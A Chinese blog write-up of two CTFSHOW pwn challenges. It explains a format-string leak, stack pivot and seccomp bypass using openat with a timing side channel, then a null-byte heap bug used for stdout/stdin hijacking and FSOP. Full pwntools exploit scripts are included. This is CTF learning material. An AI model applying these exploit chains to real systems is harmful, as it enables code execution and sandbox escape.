CTFSHOW卷王杯-pwn

CTFSHOW卷王杯-pwn

根据官方 wp 学习了两道好题

# check in

# 思路

发现开了 **sandbox** (之后再仔细分析),然后读入姓名那里有一个明显的格式化字符串漏洞,再之后可以读入 0x90 大小的数据,然而数组大小只有 0x80 ,很明显是一个栈溢出,但是溢出的长度非常短,只有 0x10 ,也就是只能覆盖 rbpret ,在程序的最后有 close(1) 关闭了标准输出的文件描述符,也就是我们无法泄露任何信息,包括最终得到的 flag ,最后再看下此题的保护:没有开 **Canary** **PIE** 保护

首先,格式化字符串的利用方式很显然,可以用于泄露 **libc** :通过泄露 __libc_start_main + 243 ,即可得到 libc_base

再来看栈溢出该如何利用,既然我们只能覆盖到 rbpret ,其中 ret 是跳转执行的地址,那么就可以考虑何处受 rbp 控制,又方便我们利用,不难想到 read 的时候,是将 0x90 的数据读到栈上的,而栈上的地址就受 rbp 控制,由汇编:

1
2
3
4
5
0x4013dd <main+163>:    lea    rax,[rbp-0x80]
0x4013e1 <main+167>: mov edx,0x90
0x4013e6 <main+172>: mov rsi,rax
0x4013e9 <main+175>: mov edi,0x0
0x4013ee <main+180>: call 0x401100 <read@plt>

可见, read 的第二个参数 rsi (写入数据的地址)就是 rbp-0x80 中的内容,因此,我们可以通过控制 **rbp** **bss** 段上的某地址,然后再通过 **ret** 跳转到 **0x4013dd** 的位置,即可往 **bss** 段上写入内容,再之后通过一个栈迁移,即可跳转到我们读到 bss 段上的 gadget 并执行。

最后,我们来看一下这个 sandbox ,是个黑名单,禁用 socket 那些主要就是为了防止重启输出流造成非预期的,可以先不用管,主要就是发现禁用了 open 的系统调用和 read 相关的系统调用,虽然没有禁 write 相关的系统调用,但是由于有 close(1) ,所以也无法输出,这看似是无法 orw 了,不过仔细分析后可以发现: open 的系统调用虽然被禁用了,但是我们可以用 **openat** 系统调用来代替 **open** 系统调用libc 中的 open 函数就是对 openat 这个底层系统调用的封装), openat 分绝对路径和相对路径两种写法, exp 中都给出了;再来看 read ,注意到 read 相关的系统调用并非全部被禁用了,当 readfd0 时, read 是可用的,对于常规 orw 来说,先 open 一个文件,由于 0,1,2 都分别被标准输入,输出,报错给占用了,所以文件描述符是从 3 开始的,而若是我们在 open 前, **close(0)** ,再 **open** 的话,我们打开的文件的描述符就是 **0** 了,我们也就可以 **read** 读取文件内容了;最后,对于 write 来说,可以采用 **“侧信道攻击” 的方式,就是对 flag 的每一位进行爆破,与我们已经 read 读入到内存中的真实 flag 进行比对,比如,若是相等就触发死循环,那么我们就可以通过判断接收数据用了多久来判断猜测是否正确了,在当前假设下,若是超过了 1 秒,则说明我们这一位爆破猜测成功了,当然,我这里写了一个 “二分法” 的版本,不然会耗费很长时间(其实, CTFshowflag 好像用的是 uuid 字符串,也就是 {} 中的内容仅局限于 -0123456789abcdef 这几个字符,因此,应该还能进一步缩短我 exp 的爆破时长)。由于 “侧信道攻击” 最好使用 shellcode 来实现,故在之前需要用 mprotectgadget 链改一下 bss 段的可执行权限,而一次性只能读入 0x80 大小的数据,可能无法将 orwshellcodemprotectgadget 一起读进 bss 段,因此,我们可以先写一小段 ** **shellcode** 作为跳板mprotectgadget 一起读入到 bss 段,再通过这个跳板,将 orwshellcode 读到 bss 段上并跳转执行

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
from pwn import *
context(os = "linux", arch = "amd64")

possible_list = "-0123456789abcdefghijklmnopqrstuvwxyz{}"

elf = ELF("./checkin")
libc = ELF('./libc-2.30.so')
bss_addr = elf.bss() + 0x500
read_addr = 0x4013DD
leave_addr = 0x401402

def pwn(pos, char):
io.sendlineafter(b"name :\n", b'%25$p')
io.recvuntil(b"Hello, ")
libc_base = int(io.recv(14)[2:], 16) - 243 - libc.sym['__libc_start_main']
payload = b'\x00'*0x80 + p64(bss_addr + 0x80) + p64(read_addr)
io.sendafter(b"check in :\n", payload)

shellcode_read = f'''
xor rax, rax
xor rdi, rdi
push {bss_addr+0x100}
pop rsi
push 0x100
pop rdx
syscall
jmp rsi
'''
pop_rdi_ret = libc_base + 0x26bb2
pop_rsi_ret = libc_base + 0x2709c
pop_rdx_r12_ret = libc_base + 0x11c421
mprotect_addr = libc_base + libc.sym['mprotect']
payload = p64(pop_rdi_ret) + p64(bss_addr & 0xfffff000) + p64(pop_rsi_ret) + p64(0x1000) + p64(pop_rdx_r12_ret) + p64(7) + p64(0) + p64(mprotect_addr)
payload += p64(bss_addr + len(payload) + 8) + asm(shellcode_read)
payload = payload.ljust(0x80, b'\x00') + p64(bss_addr - 8) + p64(leave_addr)
sleep(0.1)
io.send(payload)

shellcode_main = f'''
/* close(0) */
push 3
pop rax
xor rdi, rdi
syscall
/* openat("/flag") */
push 257
pop rax
/* ( absolute path ) */
mov rsi, 0x67616c662f
push rsi
mov rsi, rsp
/*
( relative path )
push -100
pop rdi
push 0x67616c66
push rsp
pop rsi
*/
syscall
/* read flag */
xor rax, rax
xor rdi, rdi
mov rsi, rsp
push 0x50
pop rdx
syscall
/* blow up flag */
mov al, byte ptr[rsi+{pos}]
cmp al, {char}
ja $-2
ret
'''
sleep(0.1)
io.send(asm(shellcode_main))

if __name__ == '__main__' :
start = time.time()
pos = 0
flag = ""
while True:
left, right = 0, len(possible_list)-1
while left < right :
mid = (left + right) >> 1
io = remote("pwn.challenge.ctf.show", 28102)
pwn(pos, ord(possible_list[mid]))
s = time.time()
io.recv(timeout = 1)
t = time.time()
io.close()
if t - s > 1 :
left = mid + 1
else :
right = mid
flag += possible_list[left]
info(flag)
if possible_list[left] == '}' :
break
pos = pos + 1
success(flag)
end = time.time()
success("time:\t" + str(end - start) + "s")

# Incomplete Menu

# 思路

这题给出了一个不完整的菜单,只有 neweditnew 就是新建一个 ** 任意大小(无限制)** 的堆块,最多只可以创建 5 个堆块, edit 可以输入需要读进某堆块中内容的长度 len ,如果输入的长度 len 超过了该堆块的大小 size ,则实际读入长度 Len = size ,否则 Len = len 。漏洞点在于:在将读入内容的最后一字节改为 \x00 的时候,长度用的是用户输入的长度 len ,而并非实际读入的长度 Len这样就会导致某堆块后面的任意某字节会被 “刷零”,不过每个堆块只能被 edit 一次。

没有 show ,不能泄露信息,不过有走 IO 流输出的函数,如 putsprintf ,因此容易想到通过劫持 stdout 来进行信息泄露,没有 delete 函数,不能对堆块进行 free ,其实可以通过漏洞改 top chunksize ,将它改小以后(要保证后三位不动),再申请一个大堆块,就能将原先的 top chunkfree 调了,不过在这里貌似并没有太大的用处。

我们只有这一个可利用的漏洞,又需要劫持到 stdout ,那就需要知道 stdout 与堆块地址的偏移,对于一般的堆块,其地址与 libc 地址的偏移肯定是无法确定的,但是这题可以申请任意大的堆块,也就是可以通过 mmap 申请堆块,而 **mmap** 申请出来的堆块,是紧接在 **libc** 的上方的,其地址与 **libc** 中地址的偏移是可以确定的,这里可以通过 **_IO_2_1_stdout_** **_IO_read_end** **_IO_write_base** 的最后一字节都改为 **\x00** ,这样他们就相等了,也就可以通过走 IO 的输出函数泄露出其中( _IO_write_base ~ _IO_write_ptr )包含的 libc 地址,进而得到 libc_base

泄露出 libc_base 之后,我们肯定是需要一个 “任意写” 漏洞,劫持一些函数或者 IO 流这些才能完成攻击。不难想到,可以通过劫持 stdin 来实现,这里我们按照和上面类似的方式,修改 **_IO_2_1_stdin_** **_IO_buf_base** 中的最后一字节为 **\x00** ,这时, _IO_buf_base 正好指向了 _IO_2_1_stdin_ ,而我们读入的时候,用的是 fgets ,这是一个走 IO 流的读入函数(这个函数就是读一整行到 stdin 缓冲区,然后再从缓冲区取出指定长度的数据,因此读数据会被 \n 截断,或者已经从缓冲区取到了所需长度的数据,也不再会刷新缓冲区往后读取数据了),因此,我们可以通过 fgets 读入任意内容到被伪造的 _IO_buf_base_IO_2_1_stdin_ )处,这样就可以再劫持一次 stdin 进行任意写了,我们读入多少字节到缓冲区, _IO_read_end 就会相应加多少,从缓冲区读取多少字节到目标内存, _IO_read_ptr 就会相应加多少,不过,最多也只能一次性读入 _IO_buf_end - _IO_buf_base 大小的数据到缓冲区,如果还需要读入,则会刷新缓冲区,一次也最多只能读取 _IO_read_end - _IO_read_ptr 大小的合法数据到目标内存,此时,由于 _IO_buf_end_IO_buf_base + 132 ,因此,我们只有读满 **132** 个字节,才有机会按我们第一次劫持 **stdin** 后,读入到 **_IO_buf_base** 中的值(记为 **_IO_buf_base(new)** )刷新缓冲区,只有刷新完缓冲区之后,才能按照我们的设想进行第二次 **stdin** 的劫持。这里需要注意的是,在第一次完成 stdin 的劫持,读入 132 字节的内容到 _IO_2_1_stdin_ 中之后,会尝试从缓冲区取 16 个字节到目标内存,如果成功取出了 16 个字节,也就满足了 fgets 的需要,那么也就不会刷新缓冲区了,我们也就不能对 stdin 进行第二次劫持了。在这里, glibc通过判断 **_IO_read_ptr** 是否小于 **_IO_read_end** 来判断缓冲区中是否还有剩余的数据,因此,我们可以在第一次劫持 stdin_IO_2_1_stdin_ 中写内容的时候,修改其中的 **_IO_read_ptr** 等于 **_IO_read_end** ,这里的 _IO_read_end 是指读完 132 个字节后的值( _IO_buf_base(new) + 132 ),也就是需要 _IO_read_ptr = _IO_buf_base(new) + 132 ,其实,这里也不一定是要加上 132 ,略小一点,只要保证和 _IO_read_end 差值不足大约 16 个字节,可以有刷新缓冲区的机会即可,并且, glibc 源码中也只是判断了 _IO_read_ptr 是否小于 _IO_read_end ,故还可以将 _IO_read_ptr 改为大于 _IO_read_end ,比如 _IO_read_ptr = _IO_buf_base(new) + 200 也行。在这里,我是通过劫持 **IO_list_all** 来打 **FSOP** 的,通过读取 choicefgets 进行 “任意写” 以后,由于获取到的值并非菜单中的选项 12 ,就会走到 exit ,直接触发 FSOP

# EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
context(arch='amd64', log_level='debug')

io = remote("pwn.challenge.ctf.show",28121)
# io = process('./pwn')
elf = ELF('./pwn')
libc = ELF("./libc-2.27.so")

def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
return possible_IO_str_jumps_offset

def new(size):
io.sendlineafter(">> ", "1")
io.sendlineafter(">> ", str(size))

def edit(index, length, content):
io.sendlineafter(">> ", "2")
io.sendlineafter(">> ", str(index))
io.sendlineafter(">> ", str(length))
io.sendafter(">> ", content)

def new_x(size):
io.sendline("1")
sleep(0.1)
io.sendline(str(size))

def edit_x(index, length, content):
io.sendline("2")
sleep(0.1)
io.sendline(str(index))
sleep(0.1)
io.sendline(str(length))
sleep(0.1)
io.send(content)

new(0x200000);
edit(0, 0x201000 - 0x10 + libc.sym['_IO_2_1_stdout_'] + 0x10 + 1, '\n') # _IO_read_end
new_x(0x200000);
edit_x(1, 0x201000 * 2 - 0x10 + libc.sym['_IO_2_1_stdout_'] + 0x20 + 1, '\n') # _IO_write_base
libc_base = u64(io.recvline()[8:16]) - libc.sym['__free_hook'] + 0x38 # _IO_stdfile_2_lock (_IO_2_1_stderr_.file._lock)
success("libc_base:\t" + hex(libc_base))

payload = p64(0)*5 + p64(1) + p64(0) + p64(libc_base + next(libc.search(b'/bin/sh')))
payload = payload.ljust(0xd8, b'\x00') + p64(libc_base + get_IO_str_jumps() - 8)
payload += p64(0) + p64(libc_base + libc.sym['system'])
new(0x200000);
edit(2, 0x201000 * 3 - 0x10 + libc.sym['_IO_2_1_stdin_'] + 0x38 + 1, payload) # _IO_buf_base

payload = p64(0xfbad208b) # _flags
payload += p64(libc_base + libc.sym['_IO_list_all'] + 132) # _IO_read_ptr
payload += p64(libc_base + libc.sym['_IO_list_all']) * 6
payload += p64(libc_base + libc.sym['_IO_list_all'] + 0x10) # _IO_buf_end
payload = payload.ljust(132, b'\x00') + p64(libc_base - (0x201000 * 3 - 0x10))
io.sendlineafter(">> ", payload)
io.interactive()

# 参考

ctfshow 卷王杯官方 wp

Author

y1seco

Posted on

2022-02-27

Updated on

2022-02-27

Licensed under

Comments

:D 一言句子获取中...